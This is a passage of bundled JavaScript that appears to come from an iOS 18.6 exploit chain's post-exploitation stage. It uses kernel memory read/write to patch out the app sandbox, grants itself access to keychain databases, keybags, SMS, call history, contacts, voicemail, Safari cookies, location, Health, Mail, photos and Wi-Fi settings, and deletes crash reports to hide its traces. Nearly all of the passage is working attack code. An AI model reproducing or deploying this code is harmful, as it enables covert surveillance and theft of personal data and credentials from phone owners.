if (rc !== 0) { N.callSymbol("free", sizePtr); return -1; }
var sz = Number(N.readPtr(BigInt(sizePtr)));
if (sz <= 0 || sz > 64) { N.callSymbol("free", sizePtr); return -1; }
var buf = N.callSymbol("malloc", BigInt(sz + 1));
if (!buf || buf === 0n) { N.callSymbol("free", sizePtr); return -1; }
N.write64(sizePtr, BigInt(sz + 1));
rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", buf, sizePtr, 0, 0));
var s = "";
if (rc === 0) { try { s = N.readString(buf, sz).replace(/\0/g, ""); } catch (_rs) {} }
N.callSymbol("free", buf);
N.callSymbol("free", sizePtr);
var m = String(s).match(/^18\.6(?:\.(\d+))?/);
if (!m) return -1;
return m[1] ? (parseInt(m[1], 10) || 0) : 0;
} catch (_e) { return -1; }
}
var __pat = __tokIosPat();
var __useNuiTok = (__pat >= 1);
console.log(TAG, "Create tokens mode=" + (__useNuiTok ? "nui-full" : "lab-slim") + " iosPat=" + __pat);
if (!__useNuiTok) {
// Lab slim: launchd temp-RemoteCall dies on A13 if we issue 200+ sandbox tokens.
console.log(TAG, "Create tokens (lab slim)...");
const slim = [
"/private/var/Keychains/",
"/var/Keychains/",
"/private/var/Keychains/keychain-2.db",
"/private/var/Keychains/keychain-2.db-wal",
"/private/var/Keychains/keychain-2.db-shm",
"/var/Keychains/keychain-2.db",
"/var/Keychains/keychain-2.db-wal",
"/var/Keychains/keychain-2.db-shm",
"/private/var/Keychains/System.keybag",
"/private/var/Keychains/Backup.keybag",
"/private/var/Keychains/persona.kb",
"/private/var/Keychains/usersession.kb",
"/private/var/Keychains/device.kb",
"/private/var/keybags/",
"/var/keybags/",
"/private/var/keybags/systembag.kb",
"/private/var/keybags/persona.kb",
"/private/var/tmp/",
"/tmp/",
"/bin/",
"/Applications/",
"/private/var/containers/Bundle/Application/",
"/var/containers/Bundle/Application/",
"/private/var/mobile/Containers/Data/Application/",
"/var/mobile/Containers/Data/Application/",
"/private/var/mobile/Containers/Shared/AppGroup/",
"/private/var/containers/Shared/SystemGroup/",
"/private/var/mobile/Media/",
"/private/var/preferences/SystemConfiguration/",
"/private/var/preferences/SystemConfiguration/preferences.plist",
"/private/var/preferences/SystemConfiguration/com.apple.wifi.plist",
"/private/var/preferences/com.apple.wifi.known-networks.plist",
"/var/wireless/",
"/private/var/wireless/",
];
let ok = 0;
for (let i = 0; i < slim.length; i++) {
const key = slim[i];
try {
const tok = this.getTokenForPath(key, false);
this.#PathDictionary[key] = tok;
this.getTokenForPath(key, true);
if (tok) ok++;
} catch (_) {}
try {
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("usleep", 80000);
} catch (_) {}
}
console.log(TAG, "Create tokens slim done ok=" + ok + "/" + slim.length);
return;
}
// ===== iOS18nui createTokens (proven 18.6.1 / 18.6.2) =====
console.log(TAG, "Create tokens (nui-full)...");
function __tokProg(msg) {
try { console.log(TAG, msg); } catch (_c) {}
try { if (typeof p7_flog === "function") p7_flog("PEMK-B1 tok " + msg); } catch (_p) {}
try { if (typeof LOG === "function") LOG("[PE] tok " + msg); } catch (_l) {}
}
var __tokSafe = (function(path, consume) {
try {
return this.getTokenForPath(path, consume);
} catch (eTok) {
__tokProg("FAIL " + path + " " + String(eTok).slice(0, 80));
return null;
}
}).bind(this);
let keys = Object.keys(this.#PathDictionary);
__tokProg("dict begin n=" + keys.length);
for (let ki = 0; ki < keys.length; ki++) {
var key = keys[ki];
this.#PathDictionary[key] = __tokSafe(key, false);
if ((ki % 10) === 0 || ki === keys.length - 1)
__tokProg("dict " + (ki + 1) + "/" + keys.length + " last=" + key);
}
__tokProg("consume begin");
this.getTokenForPath("/bin/", true);
this.getTokenForPath("/Applications/", true);
this.getTokenForPath("/private/var/tmp/", true);
this.getTokenForPath("/tmp/", true);
this.getTokenForPath("/private/var/mobile/Media/", true);
this.getTokenForPath("/private/var/mobile/Containers/Data/Application/", true);
this.getTokenForPath("/var/mobile/Containers/Data/Application/", true);
this.getTokenForPath("/private/var/mobile/Containers/Shared/AppGroup/", true);
this.getTokenForPath("/private/var/containers/Bundle/Application/", true);
this.getTokenForPath("/var/containers/Bundle/Application/", true);
this.getTokenForPath("/private/var/containers/Shared/SystemGroup/", true);
this.getTokenForPath("/private/var/preferences/SystemConfiguration/preferences.plist", true);
this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3", true);
this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3-wal", true);
this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3-shm", true);
console.log(TAG, "Create tokens for forensic paths...");
this.getTokenForPath("/private/var/mobile/Library/SMS/", true);
this.getTokenForPath("/private/var/mobile/Library/CallHistoryDB/", true);
this.getTokenForPath("/private/var/mobile/Library/AddressBook/", true);
this.getTokenForPath("/private/var/mobile/Library/Voicemail/", true);
this.getTokenForPath("/private/var/Keychains/", true);
this.getTokenForPath("/private/var/Keychains/keychain-2.db", true);
this.getTokenForPath("/private/var/Keychains/keychain-2.db-shm", true);
this.getTokenForPath("/private/var/Keychains/keychain-2.db-wal", true);
this.getTokenForPath("/private/var/Keychains/keychain-2.db-journal", true);
this.getTokenForPath("/var/Keychains/", true);
this.getTokenForPath("/var/Keychains/keychain-2.db", true);
this.getTokenForPath("/var/Keychains/keychain-2.db-shm", true);
this.getTokenForPath("/var/Keychains/keychain-2.db-wal", true);
this.getTokenForPath("/var/Keychains/keychain-2.db-journal", true);
this.getTokenForPath("/private/var/keybags/", true);
this.getTokenForPath("/private/var/keybags/systembag.kb", true);
this.getTokenForPath("/private/var/keybags/persona.kb", true);
this.getTokenForPath("/private/var/keybags/usersession.kb", true);
this.getTokenForPath("/private/var/keybags/backup/", true);
this.getTokenForPath("/var/keybags/", true);
this.getTokenForPath("/var/keybags/systembag.kb", true);
this.getTokenForPath("/var/keybags/persona.kb", true);
this.getTokenForPath("/var/keybags/usersession.kb", true);
this.getTokenForPath("/var/keybags/backup/", true);
this.getTokenForPath("/var/keybags/backup/backup_keys_cache.sqlite", true);
this.getTokenForPath("/private/var/Keychains/System.keybag", true);
this.getTokenForPath("/private/var/Keychains/Backup.keybag", true);
this.getTokenForPath("/private/var/Keychains/persona.kb", true);
this.getTokenForPath("/private/var/Keychains/usersession.kb", true);
this.getTokenForPath("/private/var/Keychains/device.kb", true);
this.getTokenForPath("/var/Keychains/persona.kb", true);
this.getTokenForPath("/private/var/preferences/SystemConfiguration/com.apple.wifi.plist", true);
this.getTokenForPath("/private/var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist", true);
this.getTokenForPath("/private/var/preferences/com.apple.wifi.known-networks.plist", true);
this.getTokenForPath("/var/wireless/", true);
this.getTokenForPath("/private/var/wireless/", true);
this.getTokenForPath("/private/var/wireless/Library/", true);
this.getTokenForPath("/private/var/wireless/Library/Preferences/", true);
this.getTokenForPath("/private/var/wireless/Library/Databases/", true);
this.getTokenForPath("/private/var/wireless/Library/ControlCenter/", true);
this.getTokenForPath("/private/var/mobile/Library/CoreDuet/", true);
this.getTokenForPath("/private/var/mobile/Library/PersonalizationPortrait/", true);
this.getTokenForPath("/var/log/", true);
this.getTokenForPath("/private/var/log/", true);
this.getTokenForPath("/var/db/", true);
this.getTokenForPath("/private/var/db/", true);
this.getTokenForPath("/var/run/", true);
this.getTokenForPath("/private/var/run/", true);
this.getTokenForPath("/private/var/networkd/", true);
this.getTokenForPath("/private/var/mobile/Library/Safari/", true);
this.getTokenForPath("/private/var/mobile/Library/Cookies/", true);
this.getTokenForPath("/private/var/mobile/Library/Caches/locationd/", true);
this.getTokenForPath("/private/var/root/Library/Caches/locationd/", true);
this.getTokenForPath("/private/var/mobile/Library/Notes/", true);
this.getTokenForPath("/private/var/mobile/Library/Calendar/", true);
this.getTokenForPath("/private/var/mobile/Media/PhotoData/", true);
this.getTokenForPath("/private/var/mobile/Media/DCIM/", true);
this.getTokenForPath("/var/mobile/Media/", true);
this.getTokenForPath("/private/var/mobile/Library/Mobile Documents/", true);
this.getTokenForPath("/private/var/mobile/Library/Mobile Documents/com~apple~CloudDocs/", true);
this.getTokenForPath("/var/mobile/Media/PhotoData/", true);
this.getTokenForPath("/var/mobile/Media/DCIM/", true);
this.getTokenForPath("/private/var/mobile/Library/Health/", true);
this.getTokenForPath("/private/var/root/Library/Lockdown/", true);
this.getTokenForPath("/private/var/mobile/Library/Preferences/", true);
this.getTokenForPath("/private/var/mobile/Library/Accounts/", true);
this.getTokenForPath("/private/var/mobile/Library/Mail/", true);
this.getTokenForPath("/private/var/mobile/Library/FrontBoard/", true);
console.log(TAG, "Create tokens nui-full done");
try { if (typeof p7_flog === "function") p7_flog("PEMK-B1 tok nui-full done"); } catch (_pd) {}
}
static applyTokensForRemoteTask(remoteTask)
{
let remoteMem = remoteTask.mem();
let keys = Object.keys(this.#PathDictionary);
for(let key of keys)
{
if(this.#PathDictionary[key])
{
//console.log(TAG,`Applying:${this.#PathDictionary[key]}`);
remoteTask.writeStr(remoteMem,this.#PathDictionary[key]);
remoteTask.call(100,"sandbox_extension_consume",remoteMem);
//console.log(TAG,`Result of consume:${resConsume}`);
}
}
}
static destroy()
{
if(this.#launchdTask)
this.#launchdTask.destroy();
}
static deleteCrashReports()
{
this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
}
static adjustMemoryPressure(processName) {
const MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK = 5;
const MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT = 6;
const MEMORYSTATUS_CMD_SET_PROCESS_IS_MANAGED = 16;
let pid = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].pidof(processName);
if (!pid) {
console.log(TAG, "Unable to get pid of: " + processName);
return;
}
if (!this.#launchdTask || !this.#launchdTask.success())
return;
let memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK,pid,-1,0,0);
console.log(TAG,`waterMark result: ${memResult}`);
memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_PROCESS_IS_MANAGED,pid,0,0,0);
console.log(TAG,`isManaged result: ${memResult}`);
memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT,pid,0,0,0);
console.log(TAG,`taskLimit result: ${memResult}`);
}
static applySandboxEscape() {
let _CS_DARWIN_USER_TEMP_DIR = 65537n;
let write_file_path = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("calloc", 1n, 1024n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("confstr", _CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024n);
let randomHex = "/" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("arc4random"));
let randomHexPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].writeString(randomHexPtr, randomHex);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("strcat", write_file_path, randomHexPtr);
// mktmp should work
// confstrr path
// also in pe
//let procPath = "/private/var/tmp/com.apple.mediaplaybackd/Library/HTTPStorages/com.apple.mediaplaybackd/"
let appSandboxReadExt = "com.apple.app-sandbox.read-write";
let extension = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_issue_file",appSandboxReadExt,write_file_path,0n,0n);
if (!extension) {
console.log(TAG,`Sandbox failure 1`);
return false;
}
let resConsume = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_consume",extension);
if (resConsume == -1) {
console.log(TAG,`Sandbox failure 2`);
return false;
}
let ourTaskAddr = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].getTaskAddrByPID(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("getpid"));
console.log(TAG,`ourTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ourTaskAddr)}`);
let ourProcAddr = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].getTaskProc(ourTaskAddr);
console.log(TAG,`ourProcAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ourProcAddr)}`);
let credRefAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ourProcAddr + 0x18n);
if (credRefAddr == 0n) {
console.log(TAG,`Sandbox failure 3`);
return false;
}
credRefAddr = credRefAddr + 0x28n;
let credAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(credRefAddr);
if (credAddr == 0n) {
console.log(TAG,`Sandbox failure 4`);
return false;
}
console.log(TAG,`credRefAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(credRefAddr)}`);
let labelAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(credAddr + 0x78n);
if (labelAddr == 0n) {
console.log(TAG,`Sandbox failure 5`);
return false;
}
console.log(TAG,`labelAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(labelAddr)}`);
let sandboxAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(labelAddr + 0x8n + 1n * BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].UINT64_SIZE));
if (sandboxAddr == 0n) {
console.log(TAG,`Sandbox failure 6`);
return false;
}
console.log(TAG,`sandboxAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(sandboxAddr)}`);
let ext_setAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(sandboxAddr + 0x10n);
if (ext_setAddr == 0n) {
console.log(TAG,`Sandbox failure 7`);
return false;
}
console.log(TAG,`ext_setAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ext_setAddr)}`);
let ext_tableAddr = ext_setAddr + 0x0n; // koffsetof(extension_set, ext_table) = 0x0
let hash = 0n;
console.log(TAG,`hash:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(hash)}`);
//hash = 4n; // for read
hash = 0n; // for read-write
let ext_hdrAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_tableAddr + hash * BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].UINT64_SIZE));
if (ext_hdrAddr == 0n) {
console.log(TAG,`Sandbox failure 8`);
return false;
}
/*
newHash = hashing_magic(appSandboxReadWriteExt);
LOG("ext_hdrAddr:%llx",ext_hdrAddr);
sleep(1);
mach_vm_address_t nullAddr = 0;
chain_write(ext_tableAddr + hash * sizeof(mach_vm_address_t),&nullAddr,sizeof(nullAddr));
chain_write(ext_tableAddr + newHash * sizeof(mach_vm_address_t),&ext_hdrAddr,sizeof(ext_hdrAddr));
*/
for (;;) {
let nextAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_hdrAddr);
if(nextAddr == 0n)
break;
ext_hdrAddr = nextAddr;
}
let ext_lstAddr = ext_hdrAddr + 0x8n; // koffsetof(extension_hdr, ext_lst) == 0x8
let extAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_lstAddr);
if (extAddr == 0n) {
console.log(TAG,`Sandbox failure 9`);
return false;
}
console.log(TAG,`extAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(extAddr)}`);
let dataLength = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(extAddr + 0x48n);
let dataAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(extAddr + 0x40n);
if(dataLength == 0n || dataAddr == 0n) {
console.log(TAG,`Sandbox failure 10`);
return false;
}
let pathLength = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("strlen",write_file_path) + 1;
console.log(TAG,`dataLength:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(dataLength)} pathLength:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(pathLength)}`);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].write8(dataAddr, 0);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].write64(extAddr + 0x48n,0n);
console.log(TAG, `Finished succesfully`);
return true;
}
}
/***/ }),
/***/ "./src/libs/TaskRop/SelfTaskStruct.js":
/*!********************************************!*\
!*** ./src/libs/TaskRop/SelfTaskStruct.js ***!
\********************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ SelfTaskStruct)
/* harmony export */ });
class SelfTaskStruct
{
#buffer;
#dataView;
constructor()
{
this.#buffer = new ArrayBuffer(32);
this.#dataView = new DataView(this.#buffer);
this.addr = 0x0n;
this.spaceTable = 0x0n;
this.portObject = 0x0n;
this.launchdTask = 0x0n;
}
get addr()
{
return this.#dataView.getBigUint64(0,true);
}
set addr(value)
{
this.#dataView.setBigUint64(0,value,true);
}
get spaceTable()
{
return this.#dataView.getBigUint64(8,true);
}
set spaceTable(value)
{
this.#dataView.setBigUint64(8,value,true);
}
get portObject()
{
return this.#dataView.getBigUint64(16,true);
}
set portObject(value)
{
this.#dataView.setBigUint64(16,value,true);
}
get launchdTask()
{
return this.#dataView.getBigUint64(24,true);
}
set launchdTask(value)
{
this.#dataView.setBigUint64(24,value,true);
}
}
/***/ }),
/***/ "./src/libs/TaskRop/Task.js":
/*!**********************************!*\
!*** ./src/libs/TaskRop/Task.js ***!
\**********************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ Task)
/* harmony export */ });
/* harmony import */ var _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./SelfTaskStruct */ "./src/libs/TaskRop/SelfTaskStruct.js");
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js");
/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js");
const TAG = "TASK"
const TASK_EXC_GUARD_MP_CORPSE = 0x40;
const TASK_EXC_GUARD_MP_FATAL = 0x80;
const TASK_EXC_GUARD_MP_DELIVER = 0x10;
class Task
{
static gSelfTask;
static KALLOC_ARRAY_TYPE_SHIFT;
static {
this.gSelfTask = new _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__["default"]();
}
static init(selfTaskAddr)
{
// Update KALLOC_ARRAY_TYPE_SHIFT
this.KALLOC_ARRAY_TYPE_SHIFT = BigInt((64n - libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().T1SZ_BOOT - 1n));
/*
* This function should be invoked as the initializer of the this Task utility.
* It setups the global var "gSelfTask" containing values used all across the task functions to lookup ports.
* It also retrieves the "launchd" task address.
*/
this.gSelfTask.addr = selfTaskAddr;
let spaceTable = this.#getSpaceTable(this.gSelfTask.addr);
this.gSelfTask.portObject = this.#getPortObject(spaceTable, 0x203n);
this.gSelfTask.launchdTask = this.#searchForLaunchdTask();
console.log(TAG,`Self task address: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.addr)}`);
console.log(TAG,`Self task space table: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(spaceTable)}`);
console.log(TAG,`Self task port object: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.portObject)}`);
console.log(TAG,`launchd task: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.launchdTask)}`);
}
static trunc_page(addr)
{
return addr & (~(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_SIZE - 1n));
}
static round_page(addr)
{
return this.trunc_page((addr) + (libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_SIZE - 1n));
}
static pidof(name)
{
let currTask = this.gSelfTask.launchdTask;
while (true)
{
let procAddr = this.getTaskProc(currTask);
let command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pComm, command, 18);
let resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].readString(command,18);
if(name === resultName)
{
let pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid);
return pid;
}
let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask);
if (!nextTask || nextTask == currTask)
break;
currTask = nextTask;
}
return 0;
}
static getTaskAddrByPID(pid)
{
let currTask = this.gSelfTask.launchdTask;
while (true)
{
let procAddr = this.getTaskProc(currTask);
let currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid);
if (currPid == pid)
return currTask;
let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask);
if (!nextTask || (nextTask == currTask))
break;
currTask = nextTask;
}
return 0;
}
static disableExcGuardKill(taskAddr)
{
// in mach_port_guard_ast, the victim would crash if these are on.
let excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard);
//console.log(TAG,`Current excGuard:0x${Utils.hex(excGuard)}`);
excGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL);
excGuard |= TASK_EXC_GUARD_MP_DELIVER;
//console.log(TAG,`ExcGuard result:0x${Utils.hex(excGuard)}`);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard, excGuard);
}
static getTaskAddrByName(name)
{
let currTask = this.gSelfTask.launchdTask;
while (true)
{
let procAddr = this.getTaskProc(currTask);
let command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pComm, command, 18);
let resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].readString(command,18);
//console.log(TAG, `${Utils.hex(procAddr)}: ${resultName}`);
if(name === resultName)
{
//console.log(TAG, `Found target process: ${name}`);
return currTask;
}
let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask);
if (!nextTask || nextTask == currTask)
break;
currTask = nextTask;
}
return false;
}
static getRightAddr(port)
{
let spaceTable = this.#getSpaceTable(this.gSelfTask.addr);
return this.#getPortEntry(spaceTable, port);
}
static #getSpaceTable(taskAddr)
{
let space = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().ipcSpace);
let spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(space + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().spaceTable);
//console.log(TAG,`space: ${Utils.hex(space)}`);
//console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`);
spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(spaceTable);
//console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`);
return this.#kallocArrayDecodeAddr(BigInt(spaceTable));
}
static #mach_port_index(port)
{
return ((port) >> 8n);
}
static #getPortEntry(spaceTable, port)
{
let portIndex = this.#mach_port_index(port);
return spaceTable + (portIndex * 0x18n);
}
static #getPortObject(spaceTable, port)
{
//console.log(TAG, `getPortObject(): space=${Utils.hex(spaceTable)}, port=${Utils.hex(port)}`);
let portEntry = this.#getPortEntry(spaceTable, port);
//console.log(TAG,`portEntry: ${Utils.hex(portEntry)}`);
let portObject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(portEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().entryObject);
//console.log(TAG,`portObject:${Utils.hex(portObject)}`);
return libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(portObject);
}
static getTaskProc(taskAddr)
{
let procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().procRO);
let procAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(procROAddr);
return procAddr;
}
static #searchForLaunchdTask()
{
/*
* Traverse the tasks list backwards starting from the self task until we find the proc with PID 1.
*/
let currTask = this.gSelfTask.addr;
while (true)
{
let procAddr = this.getTaskProc(currTask);
let currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid);
if (currPid == 1)
return currTask;
let prevTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().prevTask);
if (!prevTask || prevTask === currTask)
break;
currTask = prevTask;
}
return 0n;
}
static #kallocArrayDecodeAddr(ptr)
{
let zone_mask = BigInt(1) << BigInt(this.KALLOC_ARRAY_TYPE_SHIFT);
if (ptr & zone_mask)
{
ptr &= ~0x1fn;
}
else
{
ptr &= ~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_MASK;
//console.log(TAG,`ptr:${Utils.hex(ptr)}`);
ptr |= zone_mask;
//console.log(TAG,`ptr2:${Utils.hex(ptr)}`);
}
return ptr;
}
static getPortAddr(port)
{
if (!port)
return 0;
let spaceTable = this.#getSpaceTable(this.gSelfTask.addr);
return this.#getPortObject(spaceTable, port);
}
static getPortKObject(port)
{
let portObject = this.getPortAddr(port);
return this.#getPortKObjectByAddr(portObject);
}
static #getPortKObjectByAddr(portObject)
{
if (!portObject)
return 0;
let kobject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(portObject + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().objectKObject);
return libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(kobject);
}
static firstThread(taskAddr)
{
let first = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().threads);
return first;
}
static getMap(taskAddr)
{
let vmMap = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().mapTask);
return vmMap;
}
static getPortKObjectOfTask(taskAddr,port)
{
let portObject = this.getPortAddrOfTask(taskAddr, port);
return this.#getPortKObjectByAddr(portObject);
}
static getPortAddrOfTask(taskAddr, port)
{
let spaceTable = this.#getSpaceTable(taskAddr);
return this.#getPortObject(spaceTable, port);
}
}
/***/ }),
/***/ "./src/libs/TaskRop/TaskRop.js":
/*!*************************************!*\
!*** ./src/libs/TaskRop/TaskRop.js ***!
\*************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ TaskRop)
/* harmony export */ });
/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js");
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
